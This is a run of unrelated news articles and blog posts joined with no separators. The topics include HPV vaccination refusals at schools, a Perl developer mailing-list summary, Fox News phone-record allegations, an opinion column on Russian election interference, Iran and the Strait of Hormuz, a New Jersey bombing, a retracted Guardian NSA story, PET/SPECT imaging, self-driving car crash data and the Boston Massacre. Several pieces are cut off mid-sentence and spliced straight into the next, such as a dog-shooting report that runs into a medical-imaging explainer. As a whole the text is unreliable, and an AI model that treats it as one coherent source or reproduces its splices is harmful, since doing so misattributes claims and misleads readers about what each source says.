Just two of the 15 PCTs where schools are denying the vaccination course told GPs of their decision.
Only five of the 15 PCTs said they informed pupils or guardians how to obtain the vaccine elsewhere, the figures show.
The reasons schools gave for not giving the jab included "not in keeping with the school ethos", "pupils follow strict Christian principles, marry within their own community and do not practise sex outside marriage" and "the school does not want parents/students to feel pressured by peers or the school setting".
The Royal College of General Practitioners (RCGP) said GPs needed to be informed about which pupils were being denied vaccines at school to help cut cervical cancer deaths.
Every year, 1,000 women in the UK die from cervical cancer.
RCGP immunisation lead Dr George Kassianos told GP magazine: "If GPs are going to be provided with vaccines and there is an agreement that GPs can vaccinate those falling behind, then it is even more important that GPs are informed of who has missed HPV vaccination at school.
"GPs also need to know of completion of vaccination courses.
"No matter which system you examine, here in the UK or abroad, there will be parents or individuals who will refuse vaccination.
"None of our immunisations are compulsory. We therefore must accept that some children or adults will not be vaccinated. It is hard to understand how immunisation against cancer can be rejected but that is how it is out there in the community."
Dr Richard Vautrey, the deputy chairman of the British Medical Association's general practitioners committee, said: "It is a concern that so many areas are reporting that schools have refused to allow their children to receive HPV vaccine on the premises.
"This is placing their children at risk in later life and should be challenged. It is also a concern if PCTs are not informing practices about HPV uptake. Once the responsibility for this activity has been transferred from PCTs to public health departments based in local authorities next year there should no longer be any excuse for failing to protect children in this way."Hey everyone,
Following is the p5p (Perl 5 Porters) mailing list summary for the past week.
Enjoy!
November 13th-20th
News and Updates
Perl 5.27.6 has been released!
Karl Williamson updates about his branch for word-at-a-time searches for UTF-8 invariants. His branch provides up to 800% improvement in speed on 64 bit.
Grant Reports
Dave Mitchell TPF Grant 2 September report.
Dave Mitchell TPF Grant 2 weekly report #184.
Dave Mitchell TPF Grant 2 weekly report #185.
Zefram 2017 Week 44 report.
Zefram 2017 Week 45 report.
Zefram 2017 Week 46 report.
Issues
New Issues
Resolved Issues
Rejected Issues
Suggested Patches
Steve Hay provided a patch in Perl #123113 to add optional GCC-only support for using long doubles on Win32.
Steve also provided a patch in Perl #125827 to PathTools to not require() modules in subs likely to be in loops.
Hauke D. provided a patch in Perl #132475 to handle LAYER argument in Tie::StdHandle::BINMODE.
Discussion
Paul Evans and Zefram discuss (Signature parsing compiler functions) an API for parsing signatures.
Zefram has a suggestion of utilizing the smart match syntax to support type checks in signatures.In the wake of allegations that Fox News obtained the phone records of journalists, the president of a prominent media watchdog group says he’s aware of allegations that phone and email records of his employees were obtained.
“We know there are allegations of email and phone records being obtained, but do not know precisely how. It’s part of our internal review now,” Media Matters President Bradley Beychok told The Daily Beast.
On Friday morning, journalist Gabriel Sherman reported in a lengthy exposé for New York magazine that Fox’s general counsel, Dianne Brandi, “hired a private investigator in late 2010 to obtain the personal home- and cellphone records of Joe Strupp,” a reporter at Media Matters. (Brandi denied the allegation through a spokesperson). That fall, Strupp had written several articles quoting anonymous sources and Fox and the cable channel wanted to know who they were, Sherman reported.
Beychok said Strupp may not have been the only target. “We are not sure of how widespread the issue may be in regards to our employees. However, in addition to Joe Strupp there is at least one other current Media Matters colleague who we have reason to believe also had their phone records obtained.”
It’s not clear how Fox News could have legally obtained a third-party’s phone or email records without his or her consent. In 2006, Hewlett-Packard used private investigators to impersonate board members and journalists so that the company could obtain their phone records, a form of deception known as “pretexting.” Congress subsequently banned the practice.
—Shane HarrisFor years, ever since I left the Intelligence Community, I’ve tried to raise awareness about the rising threatto the United States and our allies of foreign espionage. My background in counterintelligence for the National Security Agency made me a rare public voice of experience discussing the spy threat to our country, its security and its prosperity.
When the Edward Snowden story broke in June 2013, I was one of the first to state publicly that this sensational saga was, in reality, a stage-managed Russian intelligence operation designed to harm the West and its powerful intelligence alliance. That fateful summer I also pointed out that there were apparent links between Wikileaks and the Kremlin. These positions won me no friends among the great and the good, and many were the mainstream journalists and pundits who castigated my reality-based assessments as “paranoid” and “McCarthyite.”
I was right and my critics were wrong. Snowden has been working for the Russians for years, as both Washington and Moscow have now admitted. As for Wikileaks, its strong links to the Kremlin’s intelligence services are now so obvious—I issued more warnings about that only a few months ago, long before our November 8 election—that Moscow isn’t bothering to hide them any longer.
As I’ve explained in detail in column after column, Obama’s two terms in office witnessed a stunning and unprecedented withering of counterintelligence and security in Washington, the Snowden debacle being only the most-reported of the disasters which have befallen American intelligence since 2009. This carelessness allowed the Russians to gain astonishing access to the inner workings of our government and our political system. Moscow’s far-reaching hacking of Federal agencies and countless private entities forms only the visible tip of the clandestine Russian spy-iceberg which has collided with Washington in recent years.
There’s no doubt that Vladimir Putin and his spy services played operational games with our election cycle, using Wikileaks to dump tens of thousands of unflattering emails from the Hillary Clinton campaign and the Democratic National Committee. Their impact on the election is difficult to determine but it was doubtless harmful to Team Clinton.
Moreover, Donald Trump’s ties to the Kremlin, ranging from his tendency to mouth unfiltered Russian propaganda, his odd personal linkages to Moscow, plus the ties of members of his inner circle to Russian intelligence, were all things I explained in detail in the lead-up to the election. These questions merited serious, dispassionate counterintelligence analysis, and still do.
However, since their defeat on November 8 liberals have been looking for scapegoats to explain how Hillary Clinton lost to Donald Trump—an unexpected outcome that many on the left seem literally unable to process and accept. First, Hillary and her minions blamed the FBI and its director, James Comey, for allegedly throwing the election to Trump by announcing that the Bureau was reopening its investigation of EmailGate—then pulling back.
When blaming the FBI proved insufficient to explain away Hillary’s defeat, her allies in the mainstream media turned their spotlight on an alleged plague of “fake news” that supposedly transformed millions of low-information citizens into Trump’s dupes. While there undeniably is a problem here—as in the age of the Internet wholly false, indeed absurd stories can gain traction for a time before they are debunked—this problem is hardly present on the right-wing only. Not to mention that more than a few MSM mavens are willing to term as “false” certain stories which they merely don’t like and don’t want to talk about.
This brings us to the Russians, the ultimate election bogeyman. Since it’s a fact that Putin and his covert operatives interfered with our election in a propaganda sense (anybody acquainted with Russian spycraft knows the proper term here: Active Measures), bitter-ender liberals have now decided that Kremlin hacking threw the election to Trump. The president-elect is therefore illegitimate and, presumably, Hillary can now move into the Oval Office which the left considers rightfully hers.
While there’s no doubt that Russian intelligence is capable of hacking into at least some election systems, the highly fragmented nature of how America elects its presidents would make cyber-interference in the process very complicated—and none too difficult to detect. This hasn’t stopped Hillary’s fans from stating it could be done, without evidence.
Desperate left-wing journalists have taken to making up stories to boost this narrative. For instance, Mother Jones seized upon the statement from NSA director Admiral Mike Rogers that a state actor (he didn’t name a country but he obviously meant Russia) had used Wikileaks to disseminate hacked emails about Democrats—I said the same months ago—to produce a headline that “The NSA Chief Says the Russians Hacked the 2016 Election.”
Which Admiral Rogers emphatically did not say. There’s a big difference between using a front like Wikileaks to spread purloined propaganda—that’s old hat in Moscow—and actually manipulating election returns in the ether to elect a president more to Russia’s liking. That is an extraordinary claim and as such requires hard evidence.
It needs to be said that nearly all of the liberals eagerly pontificating about how Putin put Trump in office know nothing about 21st century espionage, much less Russia’s unique spy model and how it works. Indeed, some of the most ardent advocates of this Kremlin-did-it conspiracy theory were big fans of Snowden and Wikileaks—right until clandestine Russian shenanigans started to hurt Democrats. Now, they’re panicking.
Liberal hysteria is building, and nobody on Team Clinton has done anything to tamp it down. Which they should, since these unfounded accusations are only serving to make an already toxic election cycle even worse. The country is already divided enough, it’s irresponsible to divide it further with outlandish claims lacking any proof.
Liberal stalwart Paul Krugman this week tweeted, “Without an investigation, the suspicion of a hacked election will never go away.” Such evidence-free assertions are politically harmful and should be treated as the MSM version of far-right rants about chemtrails, black helicopters, FEMA death camps, and lizard people.
Our Intelligence Community has been on high alert for months, looking for evidence of Russian interference in our election. If they have any—it would almost certainly come from NSA and be classified Top Secret-plus—it has beyond any doubt been shared with the White House. And that information would be so politically significant that the spies would find a way for President Obama to share that information first with Congress, then with the public (the latter albeit in highly redacted form).
To date, we have heard nothing. Therefore, either the Intelligence Community has no evidence of Russian hacking of our election, or the president has decided to sit on that explosive information. Which would make Obama part of this Vast Right Wing Plus Kremlin Conspiracy. It’s binary, there is no third option here. Liberals need to make up their minds.
Disclosure: Donald Trump is the father-in-law of Jared Kushner, the publisher of Observer Media.
John Schindler is a security expert and former National Security Agency analyst and counterintelligence officer. A specialist in espionage and terrorism, he’s also been a Navy officer and a War College professor. He’s published four books and is on Twitter at @20committee.Iran’s Hollow Threats to Close the Strait of Hormuz
This week, Iran has escalated a war of words over American access to the Persian Gulf and threatened to close the vital waterway to U.S. ships, in the latest example of Tehran’s blustery rhetoric about slamming the door shut on one of the world’s most important maritime choke points.
“What are you doing here? Go back to the Bay of Pigs,” Iranian Supreme Leader Ayatollah Ali Khamenei said on Monday, according to state media. On Wednesday, the deputy commander of the Islamic Revolutionary Guard Corps vowed to close the Strait of Hormuz to any “threatening” ships, signaling in particular U.S. Navy vessels that have long operated in the area and have just concluded a mine-clearing exercise there.
The Persian Gulf and the Strait of Hormuz are crucial not just to regional security, but also to the global economy. Tankers carrying about 17 million barrels of oil a day shimmy through the narrows, accounting for about one-third of all oil traded by sea globally. The strait is also a key conduit for shipments of liquefied natural gas, especially from Qatar. For countries that import oil or gas — including the United States, developed Asian economies, and increasingly, China — keeping Hormuz open to maritime traffic is crucial.
Oil generally gets more expensive when there are real or perceived threats to its supply or shipment. In recent years, the world was so glutted in oil that markets shrugged off huge risks, like the Islamic State’s rampage in Iraq, the war in Yemen, or collapsing states in Libya and Venezuela. But now that the oil market is tightening — demand is catching up to supply — such risks are increasingly unnerving. Crude oil prices rose more than 3 percent in New York and London on Thursday, especially because of wildfires in the Canadian oil patch and a deterioration in Libyan security.
The latest Iranian threats echo previous vows to close the Strait of Hormuz, such as those that spooked oil markets in early 2012. Then, however, Iran threatened to slam shut the strait to any oil tankers destined for global markets. In the end, after pushback from U.S. military and diplomatic officials — as well as a stern warning from China’s then-premier, Wen Jiabao — Iran backed off its confrontational rhetoric. It underscored how the saber-rattling is a lot easier said than done.
“Threats are easy to make,” said Anthony Cordesman, a defense analyst at the Center for Strategic and International Studies. But Iran’s naval strategy calls for deployment across the breadth of the Persian Gulf, not to bottle up vulnerable forces in a narrow body of water.
“People keep referring to ‘closing the strait.’ But we’ve got eight years of Iranian exercises that show that’s more an exercise in semantics, than the way Iran organizes to fight. Given the fact that it’s not particularly suicidal, concentrating its assets in the Strait of Hormuz makes no sense at all,” he said.
Unlike previous calls to close the strait to all shipping, the latest threats seem aimed more specifically at Washington. A leading Republican lawmaker on naval issues, Rep. Randy Forbes, introduced a resolution last month condemning Iran for its “dangerous and unprofessional behavior” in the Persian Gulf, including conducting live-fire exercises near a U.S. aircraft carrier and detaining U.S. sailors who’d veered off course earlier this year.
Forbes’s resolution directs the House to consider Tehran’s military behavior when it debates sanctions relief or the future of the deal reached last year over Iran’s nuclear weapons program. He touted the Iranian response this week as a sign that his resolution is getting under the skin of the Islamic Republic’s leaders.
The Iranian rhetoric sits uncomfortably with the Obama administration, which has made a limited rapprochement with Iran one of the centerpieces of its regional policy — not to mention its overall foreign-policy legacy — even at the risk of alienating traditional U.S. allies like Saudi Arabia. The U.S. State Department conceded that Iran’s threats to close the strait indicate that it hasn’t fundamentally changed its behavior since the nuclear deal was inked.
“Frankly, we’ve still seen Iran continue with statements and behaviors that are not helpful and not constructive,” State Department deputy spokesman Mark Toner said at a briefing on Wednesday. The nuclear deal has given the United States a better relationship with Iranian Foreign Minister Mohammad Javad Zarif, he said, “but beyond that, we’ve seen a continuance of some of the same behaviors.”
For years, defense and energy analysts have fretted over the possibility that Iran could try to choke off maritime traffic in the strait, whether through surface ships, mines, or antiship missiles. In the 1980s, during the Iran-Iraq War, both sides fought a so-called “tanker war,” targeting each other’s oil exports. That conflict eventually dragged in the United States, which protected oil tankers, but also led to several run-ins with Iranian forces, resulting in a pair of damaged U.S. Navy vessels.
Mine clearance remains a challenge for U.S. forces, which have a small number of ships that can do so. It would require the area cleared of any missile threats beforehand, meaning it would need a much broader military effort. Last month, the United States and other nations conducted a minesweeping exercise in the Persian Gulf centered on the threat posed by underwater improvised explosive devices, rather than the 5,000-odd traditional mines that Iran has in its arsenal.
“Any form of mine warfare is difficult to deal with,” Cordesman said, “and recent exercises have not been reassuring.”
But, he said, in the event of any Iranian effort to mine the Persian Gulf or block the Strait of Hormuz, Washington has a lot more tools in its arsenal than minesweepers — and that could be enough to dissuade Iran from ever seriously trying.
“They have a very good understanding of what we did to Iraq’s power grid and transportation system in 1991 with precision air power,” Cordesman said.
Photo credit: MEHDI MARIZAD/AFP/Getty ImagesA bomb that went off near the course of a Saturday morning charity race in a beachside New Jersey town was the first of a series of blasts and foiled bombing attempts in the New York-New Jersey area over the weekend.
Officials at first did not believe the Saturday morning blast in Seaside Park, New Jersey was connected to the bombing and foiled bomb attempts in New York City later Saturday night, but now are suggesting the incidents may be linked.
No one was injured in the Saturday morning beachside detonation, because the race had been delayed by a surge in registrations as well as by the discovery of an unclaimed backpack that was unrelated to the bombing attempt.
The bomb detonated in a trash can at around 9:35 a.m. ET, near the route of the Semper Five race, the third-annual charity 5K that was scheduled to begin at 9:30 a.m., according to Asbury Park Press. The 5K had been delayed because the race before it — a one-mile run — started 15 minutes late due to registration issues. An unclaimed bag — later found to belong to a local high school student — also pushed back the 5K, race attendees told the Asbury Park Press.
Al Della Fave, the spokesman for the Ocean County Prosecutor’s Office, said that the bomb inside the garbage can was actually multiple explosive devices that did not ultimately do the damage it was designed to do, Asbury Park Press reported.
Authorities said that investigators discovered three pipe bombs wired together, CNN reported. The officials told CNN that only one of the bombs detonated and that they were set up with some sort of timer.
Authorities did a sweep using bomb dogs of the area, CNN reported, and found no other devices. Nonetheless portions of the beach were closed for the course of the investigation, Patch.com reported, and other events in the area were canceled.
Local officials speculated Saturday that the charity associated with the race –the MARSOC Foundation, which aids Marines and their families — may had been part of the motive behind the bombing.
“You would have to assume that at a military-type event, the U.S. Marines, a device is placed along the route of a charity event, it would be hard to think it would be anything else,’’ Della Fave said, according to the Asbury Park Press.
The FBI and Department of Homeland were both involved in the initial investigations, CNN reported.
While at first officials were hesitant to link the Seaside Park blast to the Saturday evening bombings in Chelsea neighborhood of New York, by Monday New Jersey State Police said the incidences were in fact connected, the AP reported,
New York Gov. Andrew Cuomo said that investigators believe “that there was a common group behind the bombs,” based on the “certain commonalities among the bombs,” according to the AP.It looks like The Guardian/Observer*has managed to get itself mightily stung over a revelation about PRISM and the NSA. Which is all very amusing given the paper's part in the Glenn Greenwald/Edward Snowden revelations. But what turns it into an absolute joy is that, while the news originally came from someone with, hmm, rather "out there" views, the actual information itself seems to be roughly true. And yet they've still taken the piece down.
The story starts here, at a site called The Privacy Surgeon. The site does an interview with an ex-NSA guy called Wayne Madsen. In which he claims that there are various European and other countries that cooperate with the NSA in the collection and then dissemination of information picked up from the monitoring of communications.
Madsen named seven EU countries that have been substantially engaged in communications intelligence gathering alongside the US. These are Britain, Denmark, the Netherlands, France, Germany, Spain, and Italy. Those seven countries have formal second and third party status under the NSA’s signals intelligence agreements, and are contractually bound to the US. Under international intelligence agreements – most of which remain secret – nations are categorised according to their trust level. In the western world the US is defined as First Party while the UK, Canada, Australia and New Zealand are Second Party (trusted relationships). All others are third party (less trusted) or fourth party (secret) relationships.
Fair enough: The Guardian/Observer then picks this up and runs it as their story (with attribution). This is the Google cache of the story:
Wayne Madsen, a former US navy lieutenant who first worked for the NSA in 1985 and over the next 12 years held several sensitive positions within the agency, names Denmark, the Netherlands, France, Germany, Spain and Italy as having secret deals with the US. Madsen said the countries had "formal second and third party status" under signal intelligence (sigint) agreements that compels them to hand over data, including mobile phone and internet information to the NSA if requested. Under international intelligence agreements, confirmed by declassified documents, nations are categorised by the US according to their trust level. The US is first party while the UK, Canada, Australia and New Zealand enjoy second party relationships. Germany and France have third party relationships.
Seems fair enough: you take your sources where you can find them of course. The problem with the story so far is that Wayne Madsen himself has some fairly out there views.
Is it demonstrable that the 9/11 attacks were a false flag operation or an inside job? Wayne Madsen: I don’t believe the attacks were planned by the FBI. I believe they were an operation carried out by Mossad, Saudi intelligence, with which Mossad has had and continues to have a close relationship since the days of the Safari Club of western and Middle East intelligence services combining their operations, and elements of the CIA. Cossiga, Gul, parliament members in Germany, Britain, and Japan, the late British Foreign Secretary Robin Cook, and others all understood this was an inside job that also involved a handful of people at the top of the Bush administration, including Dick Cheney, Donald Rumsfeld, A.B.Krongard of the CIA, and Rudolph Giuliani, as well.
Yes, I know there are people who believe this stuff but then again there are people who believe in fairies living at the bottom of their garden. There's also this almost hilarious allegation:
Wayne Madsen is a longtime investigative reporter based in Washington, D.C., with impressive credentials.
Last year, he broke the sensational story of Obama (and Rahm Emanuel) being a habitue of the gay man’s club in Chicago called Man’s Country. Madsen also wrote about the mysterious, still unsolved murder of Obama’s Chicago gay lover Donald Young.
Again, I think we might put that story out at the very edges of what is even believable let alone spend time on pondering whether it's actually true or not. And then there's this:
It is a link to an insane piece on the Palestine Telegraph website. It claims Israel has bumped off hundreds of nuclear scientists around the world, including by arranging plane crashes. The author of the piece is Wayne Madsen, an antisemitic conspiracy theorist.
So, The Guardian/Observer has published a piece using allegations made by someone we'd already be predisposed to think of as being less than entirely correct in his descriptions of the real world. And, as a result, they've taken the piece down:
This article has been taken down pending an investigation.
So far so good, just as in any other walk of life you think you've made a mistake you try to correct it. Just as Mother always told you you should. The slightly unfortunate thing is that the Sunday papers in the UK print quite early on the Saturday evening. Thus we get this front page of the physical paper:
The paper is now running as its front page a story that it has already retracted online. This is something of an "Ooops!" moment and as such one to be treasured as an example of the fallibility of both human beings and organisations that contain them.
However, the story really gets even better than this.
For, whatever Mr. Madsen's interestingly strange views on all manner of things what he tells us here in this story seems to be pretty much true. Recall what the allegation actually is:
Madsen said the countries had "formal second and third party status" under signal intelligence (sigint) agreements that compels them to hand over data, including mobile phone and internet information to the NSA if requested. Under international intelligence agreements, confirmed by declassified documents, nations are categorised by the US according to their trust level. The US is first party while the UK, Canada, Australia and New Zealand enjoy second party relationships. Germany and France have third party relationships.
Note the "confirmed by declassified documents" part. This is already public domain knowledge in fact. Further:
He said the public needed to be made aware of the full scale of the communication-sharing arrangements between European countries and the US, which predate the internet and became of strategic importance during the cold war. The covert relationship between the countries was first outlined in a 2001 report by the European parliament, but their explicit connection with the NSA was not publicised until Madsen decided to speak out. The European parliament's report followed revelations that the NSA was conducting a global intelligence-gathering operation, known as Echelon, which appears to have established the framework for European member states to collaborate with the US.
Echelon is well known. If something manages to attract the attention of the woefully uninformed European Parliament it must, by definition, be well known. Indeed, it's exactly the sort of thing that we would expect spy agencies to be doing. For that's actually why we have spy agencies: to go doing spyin' 'n' stuff for us. And it's hardly the greatest revelation of all time that countries in a military partnership like NATO are going to share some of their sigint. Nor even that the UK, Australian and New Zealand will be further up the list than the French, whom nobody trusts anyway. After all, at least two of those three Anglo Saxon countries have NSA connected signals stations on their territory: that's another well known point.
So now what we've really got is what turns this story into such an absolute joy. We've got a very left field indeed character, Mr. Madsen, making claims that are then published in a leading British newspaper. Said newspaper, after running the story on its front page, realises quite how left field the source is and drops the online report. Leaving, sadly, that physical front page to be distributed. However, however left field the source is what he's actually said seems to be largely true and indeed a matter of public knowledge for some years now. Yet still the story gets pulled.
At which point we have to try and make some sense of all of this. Dropping a story that purveys largely true information is indeed something that needs explaining after all.
I'm a firm believer in the cock up, not conspiracy, version of the world. Lots of things happen simply because we're all fallible and therefore any organisation run by or containing human beings will be itself fallible. My take on this is that The Guardian/Observer has just been a tad scared by the commentary on the reliability of the source, that Wayne Madsen, and is cowering under the Sunday morning duvet hoping the whole error will go away. Maybe it is all true but even so, they're not happy relying upon the word of that source.
The alternative is much more fun to consider though. By getting the paper to publish something about PRISM and the NSA that they later withdraw there is doubt cast on all of the other things that are being said by the same paper about PRISM and the NSA. All of the Glenn Greenwald and Edward Snowden revelations. Even if the allegations are true (as I broadly think these Madsen ones are, although obviously not some of the examples further up the page) the very fact that the paper has taken them down serves to muddy the waters over what is and is not entirely and wholly true. And if that's true then Mr. Madsen could have been in deep cover for some years, posing out there in very left field, just waiting for the opportunity to work on exactly this sort of disinformation campaign. All of which is very fun indeed but sadly I cannot actually believe that it's true. For two major reasons.
The first being that I've met some of the people working in the various agencies and no, I simply don't believe that they're quite this clever. They're simply not near omniscient and far sighted beings. The second is that I know quite a bit about how newsrooms work. No one could have predicted that such a sting would actually work. So I'm sticking with my cock up theory: the paper ran a story which was largely true in its allegations, as shown by the public information already available on the point, but has become rather nervous given the other views publicly propounded by this particular source.
Update: This gets even better. Reuters is reporting that Edward Snowden has been making much the same point:
Exposing the latest details in a string of reputed spying programs, Der Spiegel quoted from an internal NSA document which it said its reporters had seen. The document Spiegel cited showed that the United States categorized Germany as a "third-class" partner and that surveillance there was stronger than in any other EU country, similar in extent to China, Iraq or Saudi-Arabia. "We can attack the signals of most foreign third-class partners, and we do it too," Der Spiegel quoted a passage in the NSA document as saying.
So the basic information is indeed true yet still they have taken the piece down.
*The Observer is the Sunday sister paper of The Guardian. Different journalists and editorial team, same ownership. This is in The Observer but was originally hosted at guardian.co.uk, not observer.guardian.co.uk)A traveler from Maine said a small-town Louisiana police officer smirked after fatally shooting his "incredibly friendly" dog on Monday.
Brandon Carpenter, 28, told The Huffington Post Tuesday that he and 21-year-old Logan Laliberte, both of Maine, had hopped off a freight train and were walking through the town of Sulphur, Louisiana, with Carpenter's dog -- a 14-month-old Labrador, Newfoundland, golden retriever mix named Arzy Kensington -- when it started raining. The men were on their way to visit friends in Lake Charles.
They climbed into the back of a parked box truck in the near-empty parking lot of the Southwest Daily News to take shelter, Carpenter said. Before long, a police car pulled up and an officer, gun drawn, ordered them out of the truck.
The officer, Brian Thierbach of the Sulphur Police Department, spotted Arzy and told the men to "get your dog," according to Carpenter. He said the officer watched him tie Arzy to a nearby fence with a 3 1/2-foot leash before Thierbach handcuffed both men, ordered them to the ground facing away from Arzy, and asked, "Is this dog going to bite me or attack me?"
"No," |
of glucose. Blood carries glucose throughout the patient but it is absorbed mostly at the tumour site, carrying the isotope with it.
The isotope then decays, emitting gamma rays (photons that are much higher in energy than visible light and can pass out of the body). By collecting the gamma rays in detectors placed around the patient, we can build up a picture of where they came from, locating the tumour position and shape.
Many different detector systems are available. The simplest is the pinhole camera, which you may have used to observe an eclipse.
To do this, you prick a tiny hole in a sheet of card and place a sheet of paper behind it. A projected image of the eclipse is cast onto the paper. The projection appears back to front and upside down and is viewable without damaging your eyes.
This is shown in Figure A above; but the eclipse has been replaced with The Conversation logo. In the subsequent figures, our theoretical tumour is also replaced by the logo.
And while pinhole cameras are handy for eclipses, the simple design will not suffice for imaging in an oncology department.
In this instance, the sheet of card is replaced with a sheet of dense metal (typically lead, and called a collimator) and the paper is replaced by a detector divided into pixels that can measure the position and energy of each photon that passes through the pinhole as shown in Figure B.
The detector is divided into pixels by the manufacturing process. The smaller the pixels, the more precisely we will know the location of where the gamma ray interacted.
The gamma rays emitted from the decay of the radioisotope leave the tumour in all directions. In Figure B, the two diagonal lines show the limits of the directions that they must follow to pass through the pinhole and interact in the detector.
The tumour has a 3D distribution and the detector must be rotated around the patient - see Figure C above - to collect a projection at each angle as is performed in a SPECT scan in a hospital.
Putting it all together
After the radiotracer has “washed through” the patient, the aim of the exercise is to build up a picture of the tumour from a series of measured counts in detector pixels. We can’t simply add the counts in the detector at each angle - we have to perform a reconstruction.
For SPECT and PET this requires tracing lines back from the detector pixel to where the photons came from (inside the tumour). We do this for each pixel that records energy from a gamma ray.
We know we need two points to form a line. In SPECT, the two points forming each line are the pixel location and the pinhole location.
In order to increase the sensitivity of the device, we can punch more holes in the collimator, which will allow more gamma rays through. This means we can give the patient a lower dose of radiotracer, reducing the risk of causing secondary tumours by the very act of administering the radiotracer in the first place.
Differences between SPECT and PET
To demonstrate why SPECT and PET have different types of detectors, first we must understand the difference in radioisotope that is administered to the patient.
Figure D (below) shows two cartoon representations of a patient with a tumour that has absorbed the SPECT radiotracer (on the left) and the PET radiotracer (on the right).
For both cartoons we have shown three of the millions of decays of the radiotracer that happen while it is inside the patient. For the SPECT case, the nuclear decay is straightforward and we get three gamma rays.
For the PET case, an intermediate positronium is formed, resulting in two gamma rays at each of the three decay sites, giving a total of six gamma rays.
The great thing about PET radioisotopes is that each pair of gamma rays are primarily emitted at 180 degrees to each other. Figure E shows why this is so useful.
As mentioned already, the two points that form the line in the reconstruction in SPECT are the pinhole in the collimator and the pixel of the detector.
For PET radioisotopes, all we have to do is detect the two gamma rays for each decay and this enables us to trace the line that finds where the emission came from.
We can do this by including a second detector and throwing away the collimator, which means we get an enormous gain in sensitivity (up to 1,000 times).
Generally, SPECT radiotracers last longer in the patient and are primarily used in cardiology where myocardial stress imaging takes about three to four hours, whereas PET radiotracers emit gamma rays with shorter lives and higher energies and are more useful in brain imaging where scans last about 30 minutes.
As with everything in science, no system is perfect. PET does suffer from several resolution limitations and there are issues with the range of radioisotopes that decay via positron emission.
But they are two useful tools in the clinician’s arsenal for diagnosing disease in patients.
Further reading:
X-rays and CT scans
MRIWarner Bros. is remaking the Cold War thriller Ice Station Zebra and has tapped Christopher McQuarrie to write and direct it.
Made in 1968 by MGM, Zebra was an adaptation of an Alistair McLean novel that centered on an American Naval submarine team that races the Russians to retrieve sensitive photographic material in the Arctic.
Torpedo blasts, saboteurs, double-crosses and double-agent civilian scientists caught in the cross-fire are part of the ensuing action.
The movie starred Rock Hudson, Ernest Borgnine, Patrick McGoohan and Jim Brown and proved to be a major hit at the time.
McQuarrie is well-steeped in the world of shady characters having won an Oscar for penning The Usual Suspects and written thrillers like the Tom Cruise-starring Valkyrie and Jack Reacher.
The deal may impact the development of Paramount's Mission: Impossible 5, which McQuarrie is rumored to be the favorite to direct. Cruise is back to star in the action tentpole but there is no clear timetable for either movie project.
McQuarrie is repped by CAA, Key Creatives and Myman Greenspan.
Email: Borys.Kit@thr.com
Twitter: @borys_kitA key selling point for self-driving vehicles is that they should be safer than conventional vehicles. Computers don't get drunk, distracted, or tired, so they should be perfectly alert at all times. And self-driving cars have advanced sensors that give them a 360-degree awareness of the world around them.
In the last couple of years, Google and other companies have started testing their self-driving vehicles on public roads, giving us a chance to measure their real-world performance. And new research from the University of Michigan comes to a surprising — and seemingly paradoxical — conclusion: self-driving cars get in more accidents, per million miles traveled, than conventional vehicles. Yet so far, every single accident involving a self-driving car has been the fault of the person driving the other car.
There are several important caveats to these findings:
Self-driving cars still haven't logged enough miles to give us a large sample of autonomous vehicle accidents. After logging more than a million miles autonomously, self-driving cars have been in a total of 11 crashes in self-driving mode. With such a small sample, it's hard to draw statistically rigorous conclusions. It's possible, though unlikely, that the high rate of accidents observed so far is just a fluke.
There's some uncertainty about the number of accidents conventional cars get into, because drivers often choose not to report minor accidents to the authorities — especially in cases where there are no injuries or property damage. The authors of the study used a Department of Transportation estimate on the number of unreported accidents to adjust for this, but that estimate might not be right. In contrast, companies testing self-driving cars are required to report every accident, giving us extremely accurate data on their performance.
While self-driving cars seem to get in more accidents in general, these accidents tend to be less severe, on average. Most of the accidents happened because another vehicle rear-ended the self-driving car. Self-driving cars have not been involved in any head-on collisions, and crashes involving self-driving cars were less likely to cause injuries than crashes involving conventional vehicles — just two out of 11 crashes led to injuries, compared with 28 percent of conventional vehicles.
On the other hand, self-driving cars aren't currently tackling all of the challenging driving situations human drivers have to deal with. For example, all of the data examined in this study came from states like California or Texas where winters are extremely mild. So self-driving cars haven't had to deal with the challenges of snow, ice, and sleet. It's also possible that self-driving cars are used in less demanding traffic situations, on average, than conventional cars.
Still, even taking all of these factors into account, it's still surprising that self-driving cars were involved in more accidents despite not causing any. So what's going on?
In a phone interview, lead author Brandon Schoettle stressed that there isn't enough data to draw any firm conclusions. But he suggested one possibility: that while self-driving cars aren't legally at fault, they may be behaving in ways that surprise human drivers who are used to interacting with other human beings.
For example, it's possible that self-driving cars stop more quickly than human drivers in some situations, making it more likely that they'll be rear-ended.
If that hypothesis is confirmed by future data, it could mean there will be a messy transition period, as a mix of human and automated vehicles lead to extra confusion on the road. On the other hand, the problem might be easy to solve if programmers can figure out how to make computers drive a bit more like human beings.
The Michigan team's research also underscores another important fact about self-driving cars: they're no longer a theoretical concept, at least for Google. The search giant has logged more than a million miles of self-driving on the road, providing the lion's share of the data used in the study. We can expect Google and its competitors — which include Tesla, Nissan, Volkswagen, and BMW — to continue ramping up their real-world trials of self-driving technology in the next couple of years, giving us increasingly precise data about the safety record of self-driving cars.Captain Thomas Preston of the 29th Regiment was, according to his commanding officer, Lt. Col. Carr, "as cool and distinct as any officer of his rank in the service." On the moonlit night of March 5, 1770, Preston was officer of the day. When a guard alerted Preston of a potentially life-threatening situation involving sentry Hugh White developing on King Street, Preston began pacing in front of the Main Guard, considering his not-very-good options. He paced for thirty minutes before yelling to his troops, "Turn out, damn your bloods, turn out!" Preston, in his redcoat with lace hat and drawn sword, followed his soldiers to the scene of the trouble. Although one witness had Preston barking orders such as "Support your arms! Prime and load!" along the way, this testimony was disputed by others. After making their way to Hugh White, Preston and his men found the crowd began pressing in on them. Preston ordered the soldiers to line up in a semi-circle facing the taunting, snowball-throwing crowd. Preston stood behind them. Then someone--Private Montgomery as it turned out--yelled "Fire!" and the massacre began. (Later, several witnesses would falsely identify Preston as having given the "Fire!" order.) With soldiers reloading and nearly ready to began another round of fire, Preston shouted, "Stop firing! Do not fire!" Sometime after midnight, Preston was arrested and brought to the Town House where he was interrogated for an hour about the shooting by two justices. At three o'clock in the morning, he was sent to the jail where he would remain for the next seven months. Jail-cell writings of Preston appeared in the Boston Gazette. In an early letter to the paper, Preston extended his "thanks...to the inhabitants of this town--who throwing aside all party and prejudice, have with the utmost humanity and freedom stept forth advocates for truth, ind defense of my injured innocence." On June 25, however, a letter Preston sent to London found its way into Boston papers and undermined whatever goodwill he might have built up earlier. In his London letter, Preston complained about Bostonians who "have ever used all means in their power to weaken the regiments and to bring them into contempt, by promoting and aiding desertions, and by grossly and falsely promulgating untruths concerning them." He wrote that bitter "malcontents" were maliciously "using 